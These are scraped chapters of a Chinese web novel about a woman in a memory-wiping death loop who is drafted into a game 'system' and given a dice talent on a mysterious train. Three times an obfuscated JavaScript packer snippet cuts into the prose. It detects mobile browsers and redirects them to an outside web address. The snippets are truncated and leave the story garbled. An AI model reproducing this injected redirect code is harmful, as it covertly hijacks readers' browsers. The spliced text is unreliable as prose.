今天的失忆发生在视频会议期间,因为只有那段时间内她无暇查看手机。 可此前的循环她都没有参加组会,昨天也未曾接触过参会人员。之前的失忆是什么缘故? 只有一种可能,导致失忆的人或事并非固定不变。 路时缘其实不确定组长是凶手,只是组长和实习生中,定有一人与她今天的失忆有关。而且,这两天内,貌似总有人在留意自己的行踪。 对方似乎需要先确认她在哪里,方能修改记忆。 视频会议是组长提议的,“明天”来公司是组长要求的。 所以,路时缘决定先来见他一面。 和组长交流的时候,失忆机制没有再次触发,她没有疑惑自己的手上为何会握着一把刀。 同时,对方的神态和行动和平日里的组长别无二致。 因此路时缘确实有一秒怀疑自己判断错误了。但很快,她做出了一个猜测—— 也许,每天只能失忆一次。 全部记忆也证明了这点。第一天见到凶手时,她马上会忘记:凶手就是长这样,并且认知自动被修改,默认对方是自己熟悉的人。 第二天她会忘记凶手的存在本身,以为自己只是进入了一个无害的时间循环,譬如今天早上。 而第三天,路时缘想到上次循环在楼下撞见的“邻居”,当时她出门得急,没发现外面下雨,对方好心借给自己一把伞。 但是,那似乎是一把很久没打开的伞。 凶手是在那里等着她。 第三次,她会忘记关于循环的一切,认为自己正过着普通的一天。 触发失忆的机制是见到凶手的脸并进行交流,且凶手每天会更改一次伪装的对象。 组长这么希望路时缘明天来公司,应该是发现她不住宿舍了,想要继续变成公司的人来触发机制。 好消息是,记忆真的恢复了。 坏消息是,她打草惊蛇,凶手的线索彻底断了。 “路时缘?你怎么在我办公室里?” 路时缘头皮一炸,侧过头,竟是刘蔚。 “我离职申请不是给你批了吗。”刘蔚蹙着眉。 “不好意思啊。” 路时缘心跳如鼓,一面道歉,一面转动身子慢慢挪动脚步。 对方也动了,开始逼近她。 “卧槽!” 路时缘没忍住低骂,快步绕到桌子的另一头。 她跑到门边,没听到身后有声音,转头却见刘蔚坐上办公椅。对方无视了自己的举动,自顾自看起文件,也不打算追究路时缘为何在此。 那动作和刚才扮演组长的凶手如出一辙。 可是,这分明就是刘蔚的面孔。 一个可怕的念头钻入脑海。 她试探性地开口: “……组长?” “还有事吗?”刘蔚抬起头,盯着路时缘。 唰! 门被疾速带上,她不敢再停留,拔腿跑到过道处。透过另一扇玻璃门,其他组员在里边办公。明明是再日常不过的画面,路时缘却越看越觉得毛骨悚然。 这些人……是真实存在的吗? 他们如同设定好程序的npc,在一方隔间里做着自己的事。只要路时缘不开口,就不会触发任何对话。 路时缘犹豫再三,终是在一个同事出来打水时,出声叫住了他。 她得确认一件事情。 “小陈,我们是不是有换过组长?” 小陈转身,语气疑惑:“什么时候的事儿,刘姐不一直在带你吗。” 原本的组长,彻底消失了。 逃也似的离开写字楼后,路时缘得到了这个恐怖的结论。 她恢复记忆的同时,凶手却能反过来影响这么多人的认知? 但她现在还记得凶手的长相,记得循坏以来发生的事情,是不是说明自己的记忆暂时是可靠的? 路时缘不敢确定,但她必须要相信这些记忆,因为这是唯一可以凭仗的东西,是自己在这场不公平博弈中为数不多的筹码。 她摸出手机,盯着屏保看了会。 一份手写的图片。 【回去,用刀,杀了组长。】 路时缘把屏保换掉了。 那是一条没用上的提醒。 也是一道不计后果、不负责任的指令。 关掉屏幕。 突然间,路时缘意识到自己忽略了一件事。 “喂,又咋了。” “小徐,你在宿舍吗?沈杳在你旁边吗?不……不,你知道沈杳吗?” “胡说八道什么?沈杳在跟我吃饭呢。” 舍友的认知没有被修改! 听到这个名字从徐青歌口中吐出,路时缘稍稍松口气,又确定了一遍,“她没有消失吧?” “你……来,要不要现在自己跟她说。” “好,把电话给她。” 徐青歌愣了下,旋即果断地把手机抛给旁边的人——不是手机烫手,而是她担心被路时缘的疾病赛博感染了。 “干啥?” 沈杳的声音。 路时缘张了张口,忽然不知道要说什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564841|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试探她是不是真的?问她知不知道凶手的事? “中午吃的什么?给我点外卖参考。” “……” 路时缘挂掉电话,心中只有一个念头。 她真的要被舍友们当成精神病了。 云团四散而去,路时缘拢了拢衣服,搭上回酒店的车。 选项里之所以没有地铁,是因为得避开安检。 事实上,即使凶手被拆穿后当场杀人,不逃跑的话拿着刀顶多一换一。 然而,都死四次了,大不了提前触发回档,路时缘起码能确定失忆的机制。 没想到凶手直接跑了,组长也连带消失了。 想到这点,路时缘内心复杂。 组长是否存活不好说,但真正意义上社会性死亡了。 除了她没人记得这个人。 路时缘并不会把组长的消失归因于自己,徒增道德包袱。可这种认知上的抹杀还是太过恐怖,她甚至开始思考—— 这个世界是真实的吗? 上车后,路时缘确认司机和来时不是同一个人,车上暂时没有别的乘客。她选了后门边的座位,隔几分钟就要回想一下凶手的脸。 真不真另说,当下起码要确保这份记忆老老实实地储存在脑子里。要是能有一份正常活下去的感知,错觉也无妨。 下了车,她不再横生枝节,刷卡上楼。 通道口停着清洁车。路时缘一路走到房门口,蹲下,视线平齐门缝,头发丝还在。 但这说明不了什么。 路时缘刷完卡后大力踢开门,收脚后立马后退三大步—— 没有贴脸杀。 她慢慢朝里探去,确实没人。 路时缘稍微安下心来,至少今天不会再失忆了。不过该做的不能少,排查完的第一要事,是将完整版记忆老老实实更新在文件传输助手里。 祈祷明天的自己,看信息时小心一点吧。 *** 浴室的水汽没有完全散去,在门口形成一小片氤氲。 路时缘拖到很晚才洗漱完。随便吹了两下头就出来了,还未适应浴室外的温度,哆哆嗦嗦地爬上床。床面微微向下陷,晕上一点水渍。 她有猜测过,凶手为什么那么执着于修改自己的认知。得到的结论是,这或许也是杀死她的条件之一。 而她今天一整天都呆在酒店,三餐靠泡面解决,没有见到任何人,完美地保护了自己的记忆。那条记录她偶尔从外面扫过一眼,也没有变成乱码。 至于组长和舍友身上的谜团,路时缘觉得至少要活过明天再去思考。 所以,这个该死的循环会结束吗? 19号凌晨马上要到了。 她有些踌躇。 睡吗?还是干脆直接熬到那个点? 这些犹豫在路时缘贴上床时尽数消失。 她困了。 困意来的实在突然,更像是18号晚上一定会触发的程序。 路时缘察觉到不对劲,这是她今天发现的第一个怪异之处。但她无法抵抗这个设定,困意像一团铅块缝在她的眼皮上,意识的火苗在黑夜中摇摇欲坠。 12月19日 1:38分。 路时缘醒了。 支开眼皮的那一刻,路时缘有些绝望。 她的记忆没有丢失,循环的事件却还在进行。 破局的关键到底是什么? 她从枕下抓出那柄刀,向后一靠。 懒得下床,不必太过郑重。 良久,路时缘没等来凶手。 一道声音在脑内响起。 【警告,公民身份错误。】 【警告,公民身份错误。】 【警告,公民身份错误。】 …… 【报告,公民97746不存在。】 【玩家死亡确认,注册成功。】 5. 判定骰 入目一片纯白。 白得均匀,无褶无隙。 站起身,白墙如密织的素缟,将空间围裹得逼仄压抑。 随后一张床、一把椅的线条逐渐清晰,就像慢慢加载出来的道具。 宿舍上床下桌的款式,上边甚至一比一还原了自己的物品。 ——棺材。 这是路时缘初次来到系统空间时给起的名字。 还有她不明白,为什么系统要在空间复刻宿舍的床桌,非要选的话,她觉得不如把家里那张大床搬运过来。 血一样的文字陡然渗出,在素净的墙上格外醒目。 【恭喜玩家通过新手副本《人被杀 就会死》!】 这个副本名仿佛在嘲讽路时缘最后的幻想。实际上,第一次被杀时,她就已经确认死亡了。 死后被投放到这里。一道自称系统的声音告诉路时缘,她现在是灵体状态,需要通关不同副本世界,获得足够的能量,才算打赢复活赛。通关失败,灵体就会彻底消散。 所谓新手副本,即生成一个玩家死前的模拟世界,要在有限的循环里找到生路。副本保留了路时缘的死亡记忆,并植入“重复死亡”这个认知,让她知道自己处于循环之中。 任务其实很简单,只需要在彻底失去记忆前找到当天凶手附身的对象即可。 问题在于,她虽然知道可以循环,却被剥夺了身为玩家的记忆,并不清楚循环次数是有限的。 醒来的时间地点固定,肯定会遇到凶手附身的舍友,第一天的失忆几乎是必然的。她之后试图留下的信息也都会受到系统“阅后即焚”的限制。 【姓名:路时缘】 【编号:97746】 【死龄:0】 【天赋:(未抽取)(根据新手副本生成中……)】 【代表作:《人被杀 就会死》(开发进度60%)】 按理来说,找到凶手后,主线任务应该就结束了,最后一天理论上是安全的。但她并没有选择去探索“组长”的消失和“舍友”身上的谜团。估计这就是副本开发程度只有60%的原因。 无所谓,打游戏通常也只收集一个结局的路时缘表示,能过就行。 前后走过一圈,她隐约察觉到空间的边际比之前大了点,但能活动的范围依然不超过五平方米。 回到现有文字的白墙前,天赋那栏还没有刷新出来。 她凑近,手指点了一下“未抽取”那三个字。 没有反应。 ……卡了吗。 “系统,呼叫系统。” 系统的声音没有出现,这些文字是无法交互的。 到底在生成什么那么慢,该不会是现搓的天赋吧? 坐上椅子,桌子上放置着唯一一台电子设备。尽管外表很像,但这并不是路时缘的电脑。 壁纸被设为纯黑色,不仔细看还以为是关机状态。键盘是正常的,可屏幕里不存在任何其他按钮,桌面仅有一个白色对话框样式的图标,无法联网,上回点进去是一片空白。 路时缘再次尝试。这一回,网页刷出了邮箱界面。显示【用户97746已登陆】,收信处躺着封邮件。 【发件人:系统】 路时缘点开。 邮件内容和墙上的文字信息一样。 她默了默,感情是此次醒来没有先看电脑,系统直接把邮件信息给挪出来了。 或者说这是系统在照顾那些不会使用电脑的玩家?还挺人性化。 她转头,墙上的血字已然褪去。 路时缘拉到页面底部,发现邮箱的功能很齐全:回复、转发、删除、拉黑。 好吧,收回前面人性化的评价,毕竟如果不打开电脑,根本就无法和这个系统互动! 她迟疑片刻,点击了最保守的“回复”。 克制住拉黑的冲动,自己有这个自制力干什么都会成功的。 【系统:】 路时缘敲下开头,又倒回去补了三个字。 【尊敬的系统: 我有些问题希望能得到解答。 请问我的天赋什么时候能刷新出来,可以给一个厉害的金手指吗? 系统是什么,死后都归你管吗? 我具体要通关几个副本才能复活,隔多长时间进副本? 系统空间的物品能带到副本里吗,有没有系统商城这类东西让我进货? 副本里会遇到其他玩家吗?有邮件系统是不是说明也可以联系别人?】 路时缘删删减减,留下了最想知道的五类问题。 敲下回车。 几乎是在发送的瞬间,收信箱又多了封邮件。她点开一看,天赋刷新了! 【恭喜玩家通过新手副本《人被杀 就会死》!】 【姓名:路时缘】 【编号:97746】 【死龄:0】 【天赋:判定骰】 【天赋说明:你决定把命运交由概率定夺。 默念问题,抛出骰子,对一件事进行判定,抛开所有主客观因素,使其发生的可能性只有100%和0%(必然发生和必然不发生)两种结果;结果出现的概率均为50%;不可重复判定同一件事;冷却时间1天。 (对弱者和幸运儿来说,的确是很厉害的金手指)】 【代表作:《人被杀 就会死》】 【其他问题请玩家自行探索。】 所以这是一封回信,而且除了第一个问题之外都没有回应。 路时缘无视了那句疑似嘲讽的话语。不得不说这个金手指的能力她很喜欢,能够用纯粹的概率来决定成败。 不过概念性的能力确实有些抽象。 “一件事”要如何定义,她如果给这件事加非常多的限定条件,只要成功岂不是一劳永逸了?而失败后,附属于这个问题的小事件还能不能继续判定? 她需要实践一下能力的边界。 路时缘等了会儿,周围没有出现任何物品。 “召唤判定骰。” “召唤判定骰。” 她心底默念了一次,忍着羞耻出声又喊了一次。 东西呢?难道她的天赋不存在实体道具?那要怎么完成前置步骤“掷出骰子”呢? 她又一次敲下了回信。 【你好,天赋说的骰子在哪里?】 这次连尊称都懒得打了。 系统没有回复。 路时缘对这个素未谋面的东西产生了些许无语。 ***

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564842|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 手臂一样舒展的树枝咔咔抽过窗户,车身颠簸地挤入红光包裹的大地,视野陡然开阔起来。 那落日硕大无朋,如一滴将坠的火球,余晖岩浆般注入云海。道路尽头忽现一口黑洞,几息之间便吞下周围的光线,继而愈涨愈大,似要将天空托举。 见此情形,车却倏地离弦而出,直直朝那洞口冲去。 再睁眼,头顶灯带垂下幽蓝冷光,游走在座椅的金属边缘。窗外的城市轮廓仅是一道道灰白影子,快速滑向视野后方。 路时缘发现自己真的在火车上。 【欢迎玩家进入副本世界。】 【副本任务:1.存活至第七天。 2.确保本列车班次4号A15座的乘客存活至第七天。】 系统居然是通过广播来宣告任务的,而且任务说明简单直白,很容易记住。 她后来又给系统轰炸了好几封邮件,全部杳无音讯,就像用掉了唯一的回复额度。最后只能闷上被子睡觉——不得不说,系统空间真的太无聊了,唯一能交流的东西也装死,还不如赶紧进副本世界里呆着。 正想确认下自己的座位号,余光见旁边的人忽然起身,路时缘理所当然地把头转过去。 一个精瘦男子双手举着行李,黑色大箱子正好挡住了脸,她先看到的是深蓝牛仔外套和一截红黑的格子衫内搭。行李放下,露出一张胡子拉碴的脸,大号的黑框眼镜挂在脸上显得有些滑稽。 ……这什么穿搭。 路时缘腹诽,若无其事收回视线,瞟了眼车壁上的标识。她的座位是F29,刚刚听广播时她就观察到前面光屏标的“07”,很不巧,和目标人物所在的车厢隔了俩节。 旁边那人应该是快到站了,拖着行李杵在门口。这节车厢要下的人不多,大多数人都坐在位置上。 可见npc听不到系统的广播。而且,既然用广播形式通知,说明同目标的玩家大概率不止她一个。 有队友,应该会轻松点吧? 路时缘决定先查看下随身物品。 她第一次真正意义上穿进新的副本世界,有些好奇,不太清楚自己是“身穿”还是“魂穿”。座椅前的小桌子已经打开,上边放着一只手机,是路时缘没见过的牌子。她拿起来按了几下,发现功能很好懂。 这里的设定应该和原世界没什么太大区别。 路时缘滑出相机,脸没有变化,身上衣物不是原来穿的那套,看来是系统加工过的“身穿”。手机里有非常多原主使用的痕迹,路时缘来不及仔细研究,她需要先搞清楚这班火车的途径地和终点。 【绿园-新港-迁化北-海丰】 这个世界的城市名还挺特殊,竟然用具体的文字来表述。对照时间表,下一站是“新港”。 当务之急是确认目标人物在哪里下车。 她的包就塞在身后。路时缘本想回来再检查包里的东西,起身时却注意到了一个赤色物什。 ——指节大小的六面骰挂在包侧。 说是六面骰,又不太准确。它的四面被打了孔,两条乌绳蜿蜒穿过。路时缘将其捞起,余下两面各有一个数字,“0”与“1”相对而立。白痕覆于红身之上,颇为刺目。 ……只有两种结果的骰子,她好像见到了。 6.任务目标 路时缘正思考如何将它取下来,系统的声音就钻进了脑袋。 这次是单人播报。 【天赋道具-判定骰已发放,请玩家注意查收。】 回神再看,绳子已然消失,那骰子没了桎梏,此刻静躺在她的手心。被穿孔的一面朝上,但视线探入之时,似有红色的血肉长出。 路时缘眨了下眼,疑心是不是看错了。 四面孔洞顷刻间被填满,红而无字。手指一点,是普通骰子的触感。有几行荧字浮现在一旁。 【天赋:判定骰】 【拥有者:路时缘(97746)】 【冷却时间:今日未使用】 【状态:使用后开启】 最关键的问题系统还没有说明:哪一面代表着成功? 实在太坑了! 路时缘心里怒骂,面上不显,五指一收将其放入兜内。抓上包快步向前方车厢走去。 “亲爱的旅客朋友们,列车即将抵达新港,请您携带好自己的行李物品,做好下车准备。” 糟了,耽误这么一下,火车快靠站了! 邻近车厢到站的人不少,行李箱三三俩俩横在过道,她护着包小心穿过两拨人流。 餐车设在四五号车厢连接口,金属货架上陈列着几排罐子,路时缘一时没认出这些是什么食物。 “前方到站新港,请您提前在车门处等候下车,列车将停留至14:30分。祝您旅途愉快。” 到站了。 列车门缓缓拉开,人群挟着喧嚣声瞬间倒入站台。路时缘终于挤进四号车厢的尾端,踮起脚,从前往后点到第四排,左边靠窗就是A15。看到椅背上方的后脑勺,她一下子舒了口气。 已经有新的乘客涌上来。路时缘环住包,攥着手机大步向前。 “诶……您好?打扰了,你是不是坐错位置了。” 她走到第四排过道处站定,面露疑惑。 A15坐着的是个富态女人,一件绿毛衫被撑得鼓鼓囊囊,大腿上平摊一本杂志。她闻言掀起眼皮,目光上下扫过来人,带着审视,开口却很客气。 “没坐错,我上一站就在这儿。小姑娘你再检查看看。” 路时缘啧了声,滑开手机调出车票平台,只一眼就松开眉头,尴尬地咧开嘴。 “不好意思不好意思!是我看错了。” “没事。”女人又低下头看书。 车厢中,玩手机的,睡大觉的,与邻座攀谈聊天的……一切如常。像是路时缘还没有死,是一个普通的女大学生,坐列车外出旅游。 *** 卫生间外的电子屏显示【无人】,路时缘按下门边那个铜黄色的按钮。 屏幕一闪,映出她无表情的面孔。 啊? 难道这不是开门按钮吗?坏了,不会理解错了吧。 她攥紧口袋里的骰子,一时不知道该不该走,便看到屏幕上横出两根高速移动的红线,似乎在扫描她的脸,很快跳出来几个字—— 【路时缘】验证通过。 ……不是?这世界的火车安检好严格,乘客上个厕所都要面部识别吗。 还好系统“数据”植入得够全面。 她闪身进入卫生间。 空间狭小,隐约能听到疾驰的风声,脚上踩的金属板有规律地小幅度颤动。镜子灰扑扑的,镜中人套着件黑色冲锋衣,遮住了一小截下巴。 路时缘扭开水龙头,拨开额前的几绺发丝,泼了把水到脸上。 现在能确定,那个女人就是本次的任务对象。她下车的站点尚不清楚,好在“原主”的目的地是终点站,不然有可能还得补票。 是时候研究一下她的金手指了,以便秘的名义。这世界上,还有比厕所更隐秘、更适合偷鸡摸狗的地方吗? 路时缘摸出判定骰,只要它出现于视线范围内,旁边必有几行信息,算是为数不多智能的地方。 她一手握着骰子,一只手张开,作为掷骰地点。 “我想判定——” 她默念。 “让系统消失。” 路时缘说出了第一个判定事件。 话刚结束,不等她松手,那判定骰竟浮于眼前自转,周遭空间也开始扭曲,似乎要将一切事物隔离开来——包括因果。 她陡然生出一股直觉,这是一种对自我天赋近乎本能的认知: 不要去触碰判定中的骰子。 三秒后,判定骰又回到了掌心。 【天赋:判定骰】 【拥有者:路时缘(97746)】 【冷却时间:%#?%*@】 【状态:%#?%*@】 ? 什么意思? 路时缘张开手掌,无字的那面朝上。 连成败判定都没有。 路时缘不管有没有在冷却,马上抛出下一个问题。 “我想判定……” 骰子浮起。 “让我明天的判定百分百成功。” 无字落下。 冷却和状态还是乱码,但多了行提示。 【天赋:判定骰】 【拥有者:路时缘(97746)】 【冷却时间:%#?%*@】 【状态:%#?%*@】 【提示:和天赋机制相关的问题无法判定。】 好吧,本来还想问能不能每天给她三百次判定机会。 路时缘准备的这些都是“成功自然最好,失败也无伤大雅”的问题,所以此刻也不灰心,就当是完善自己对天赋的认知。 再有,她宁愿结果是“无法判定”。如果判定骰在第一个问题上roll出了“失败”,那么她很有理由怀疑系统能暗箱操作。 路时缘沉吟片刻,决定再进行一次提问。副本给了七天时间,按理来说第一天应该相对和平。她需要先弄明白技能机制,而且有句话说的好——早用早cd嘛。 “我想判定,我很快就能了解任务目标之后的行踪。” 失败了也无所谓,大不了晚点再知道也行。 判定骰再次旋转。 旋转。 路时缘只觉肩膀一沉,但她的目光马上被这一回的投掷结果吸引—— 【1】 【天赋:判定骰】 【拥有者:路时缘(97746)】 【冷却时间:24小时】 【状态:成功】 【提示:和天赋机制相关的问题无法判定。】 成功了! 看来两个数字应该是表示事件投掷后的概率。 乌绳忽然出现,交叉穿过判定骰,两端系在路时缘的手腕上。 而后骰子逐渐透明消失,腕上只余两根黑色的细绳。 路时缘捏住一段向外拉扯,绳子没有任何弹力,箍在手腕上滑不出来。 估计cd结束后才会再次出现“本体”。 路时缘将包从肩膀上卸下,方才判定结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582845|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果出来的时候,她感觉到了一件事—— 背包的重量似乎发生了变化。 拉开拉链,入目是把银色刀鞘,刀柄卧着块长条形的透明晶体,能看到各色光流在晶体内浮动。 一串编号纹路似的铺在鞘身上方。 QD-308 路时缘握上刀柄,没什么感觉。轻轻一拉,“嚓”地亮出一截刀面。 虽然很有设计感,但目前开来似乎就是一把刀。 是天赋派送的道具吗?这和她判定的事件有什么关系? 刀具下方塞着一个巴掌大的铁盒。路时缘将它抽出来,拇指搭着边缘推开盖子,内部有五个隔间,分别放着形状各异的片状物。 捻起一片放在光下,物体呈灰白色,没有任何标识,分量很轻。 掰开,横截面的颜色更深,断口处有一些细碎的粉末。 来历不明的东西不好尝试。 她将铁盒放了回去,把刀放进口袋。 包内还有片鼓起来的夹层。指腹轻按,感觉内侧的物体微微下陷,能听到一些细微的塑料摩挲声。 或许是更重要的东西。 拉开拉链,里边严严实实堆着面包。 路时缘:…… 可能这就是包里原本的物品吧。 她翻出手机时,听到噔噔噔的脚步向这里移动,声音在安静的密闭空间内格外清晰。 “滴滴滴” “滴滴滴” 提示声响起。 门口电子屏不断闪动着:有人、有人、有人。 金属门上没有可视窗口,只能通过声音来判断门外的情况。 路时缘不由得想起那个死亡循环的最后一天。 微妙的烦躁感在心里升腾。 她很想恶向胆边生向外骂一句。 忍住了。 提示音停下。 路时缘耐心也告罄,滑开手机,直接不管外面的还在不在,继续整理信息。 她首先点开通讯录,原主没添加几个联系人,且备注全是数字。 不会说这儿是城市有具体的文字名称,人名反而没有吧? 路时缘随机挑了个叫“789”的幸运儿,开始编辑短信: 【789你好,我是秦始皇,现在被一个阴兵困在厕所里,快来救我。】 车上信号不错,点击发送。 想了想,她复制信息,删掉前缀,把通讯录的人全部勾上。 一键群发。 退出短信界面,回到主屏幕,密密麻麻地布满了各大软件:京西、拼大大、慢脚、咚咚…… 她手指向下滑动着屏幕,翻看购物记录,怎么也见不到底。原主是个穿搭博主?三个月内购置了起码二三十套服装。但收货地址几乎都不同,署名也没有填写。 点开视频软件,个人信息页是连头像都没设置的“三无”账号。 路时缘找不到任何社交软件,最后在第二页的文件夹里发现了个纯黑的app标识,而且没有名称。 点开,又弹出来个人脸识别。 通过后,屏幕上跳出来了三个黑色大字—— 【杀了么】 这些字随后变幻成了一幅诡异笑脸,看得出来是颇有巧思的加载动画,一进去就是条提示: 【您正在执行的杀了么订单[066],任务进度待更新。】 路时缘颤抖地点开订单详情。 任务目标的照片,赫然就是A15座上的女人。 7.玩家 原主不仅是个经验丰富的杀手,更是一位劳模。 短短半年的时间,她就接了二十几单任务——这并不代表她只杀了二十几个人,因为有些是拖家带口的“灭门单”。 单主的化名全是“热心市民”加一串数字。订单好评率98%,空白的头像上戴着亮闪闪的皇冠。唯一的差评是投诉原主“手法不够环保”。 荣誉墙上挂着“好评如潮”、“风雨无阻”、“城市守护者”云云。 ……原主到底都守护了什么。 路时缘突然明白购物记录里那些衣服是买来干啥的了。 她有点想敲敲系统问下,咱这穿越手续确定办齐整了吗,原主有没有处理干净——别到时候任务没做完,半路杀出来找她索命。 消息界面,有个绿色徽章头像的账号发布了订单066,可能是原主的业务能力超群,这个订单专属指派了她的编号:QD-308。 看来,包里的武器、铁盒以及满袋子面包,统统属于原主。这个组织背后可能有管理系统和资源调配方式,并非那种无组织无纪律杀人团伙。 路时缘试图点进这个头像,没有反应,无法查看对方的个人信息。 任务时限只有两天。不过,奖金非常丰厚,是其他订单的3倍左右,大约有二十万代币。 杀人越货果然在哪里都是一份暴利的工作。 根据单主提供的信息,任务目标叫罗湘,在绿园一所学校当教师,会于今天中午十二点从绿园站搭上这班列车,下车地点是海丰站。 等等,这不就是她刚才使用天赋判定的事件吗…… ——很快就能了解任务目标之后的行踪。 没有比暗杀者更了解目标行踪的人了。 所以,包重量的增加不是她的错觉。 是她的判定,让自己,或者说,让原身的身份被确认为“杀手”。 但,她如果在判定之前打开包,查询手机呢? 路时缘无从得知。 现在,她应该搜集完了大部分初始线索。这次副本任务,可能就是和原身的“同行”对抗。 老板要求在两日内完单,如果随便逾期,或许还会遭到“组织”的追杀。后面这条是路时缘脑补的。她没有搜到员工条款,并不清楚“杀了么”的规则。 外面没再有什么响动。 她现在是杀手,怕什么? 路时缘后撤一步,伸长手臂猛地拍下开关。 门唰的拉开,过道上靠着一个身着驼色风衣的瘦高女人,脚踩黑色高跟,纤长又精致的美甲在手机上哒哒哒地敲着。听见动静抬头,她神色不耐。 “这么久你掉坑里了?” 路时缘:…… 对方也没打算跟她掰扯,拂开脸侧的长发,蹬蹬两步上前,按下识别按钮。 人脸识别的好处就是,只要站在一旁,就能看到对方的名字。 但比起名字,更先进入视线的,是对方脸上长出的红线。 并非屏幕上的影像,也不是从哪里扫射出来的光,而是真实附着在皮肤之上的红线,像是把人蒸熟了一般的红。它以极其规整的轨迹,从额头、眉骨、眼眶、鼻梁到下巴一路蜿蜒。 【汪瑜】验证通过 汪瑜毫无察觉地走进卫生间。 路时缘缓缓抬手,贴上脸颊,掌心下是温热、完好的肌肤。 *** 回去的时候要再次穿过四号车厢。 耳边很嘈杂,一眼扫过,这节车厢近乎满员。 富态女人支着脑袋望向窗外,杂志合起来放在小桌子上。封面是一些花花绿绿的拼贴画,路时缘看得不太清楚。 而目标旁边两个位置分别坐着一男一女。 中间是个约莫不过十五六岁的女孩。头箍一块黄白格方巾,扎着两根麻花辫,翘腿在划平板。 最外侧的乘客仰面靠着椅背,黑色眼罩盖住了半张脸,嘴巴微微张开,一条腿伸到过道上,睡得很熟。 路时缘收回目光,继续向前走。 她没有在这里逗留的理由。 前面的车厢连接口有简易售卖柜。上几排是玻璃质的罐子。颜色不一的球状物层层堆叠,表皮像是被涂了一层油脂,几近将罐子内的空间填满。 她现在怎么看那都像是一团泡过劣质颜料的肉球。 下面则存放着三排饮料包装袋,排版很浮夸,色彩斑斓得近乎俗艳。但不得不说,比上边那些玻璃罐头看着有吸引力得多。 路时缘凑近观察,包装袋上的演员两眼放光、嘴角咧到了耳后根。下面一行小字:一次畅饮,终身受益,让你和你的家人从此过上奢华生活。 货柜旁也有显示屏和按钮。路时缘划过屏幕,切出一张价格表。 食物罐 30000 C类饮品 2000 B类饮品 6000 A类饮品 10000 不说别的,这饮料价格确实很奢华,堪比现实世界的高档白酒。 突然觉得原身的工资也不算高了。而且,按照列车的逻辑,购买估计也要触发人脸识别。 正在犹豫,就见有只手伸过来按下按钮,手臂露出一截眼熟的袖管,随后屏幕闪出了一张脸。 是之前坐她旁边的乘客! 路时缘转过头,果然看到那个奇妙穿搭的男子站在一旁,他头上多了一顶深蓝色的制服帽,让整体的衣着搭配更为怪异。 红线从他的太阳穴处长出,飞速在脸上游走、消失。 售货柜右下角的方块铁片陷下去,伸出了一只银白托盘。哐当几声,瓶子接连倒在托盘上。 方才站在屏幕前面的是自己才对。 这个人脸识别,能够定位到按下按钮的人。 路时缘给他让开位置,默默记住了这个信息。 男人并不急着取出饮料,他盯着路时缘,表情严肃。 “一个人的天赋,到底由什么来决定?” ……啥玩意儿? 这故作低沉的声音让路时缘有点没反应过来,她想了想:“由你买不买得起这些决定。” 男人明显怔愣一瞬:“你知道这东西的功能?” 路时缘脱口而出:“可以让你和你的家人终身受益。” 对方皱起眉,似乎在思考路时缘的话。两秒后,他走上前捞起那几只玻璃瓶。托盘刚空出,饮料袋又哗啦啦落下。 路时缘 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男人一时没想到路时缘问这个,语塞片刻,小心翼翼地开口:“你原本那个世界还没发明微信?” 这下换路时缘没想明白他的脑回路了。 男人接着指导,“你拿出这样式的东西,应该就在你的随身物品里。点开微,哦,这个世界叫‘鸽圈’,扫个码就行。” 路时缘回过味来,对方是以为自己不懂用社交软件。她摆摆手,“我这原主是原始人,没下这玩意。咱用短信交流吧。” 男人作恍然大悟状,咳了一声。“那你的身份牌看起来不一般。” “嗯,”路时缘边看手机边报出一串号码,“确实是不一般的老古董。” 存完手机号,他发来一条信息:胡平。 路时缘点击“添加联系人”,将其备注为“玩家1号”。 五、六号车厢里,超过半数的乘客桌上都有一罐食物或一袋饮品。她合理怀疑胡平刚才去刷业绩了。 她看着一个小男孩三两下把饮料咕噜咕噜喝完,袋子瘪下,扁扁地塞进母亲手里。 路时缘不由得咽了下口水。 她有点渴了。 这很合理,她从上车到现在还没喝上一口水。 刚才应该找胡平把饮料买下来的,饮料大概率是糖精色素勾兑而成,但至少没有那个食物罐看得那么恶心。 *** 路时缘刚走进七号车厢,一眼就看到了汪瑜。 她在胡平原本的座位,风衣搭在腿上,露出上身的白色高领毛衣。手持一把小镜子,正仔细地用口红描摹唇线。 红唇如血。路时缘脚步一顿,随后目不斜视地路过了那一排位置。车厢的后半截空出了不少座位,她挑了倒数第二排靠过道的地方坐下。 按理来说,汪瑜从卫生间回来的路线和自己是一样的。路时缘在售货机前和胡平交流了一阵子,当时他俩都注意到通道附近没有人在走动。 除非,列车上有别的通道。 或者,汪瑜有不让人发现自己的能力。 8.爆炸 【保护,还是杀戮?】 路时缘盯着手机屏幕,琢磨胡平发来的信息。 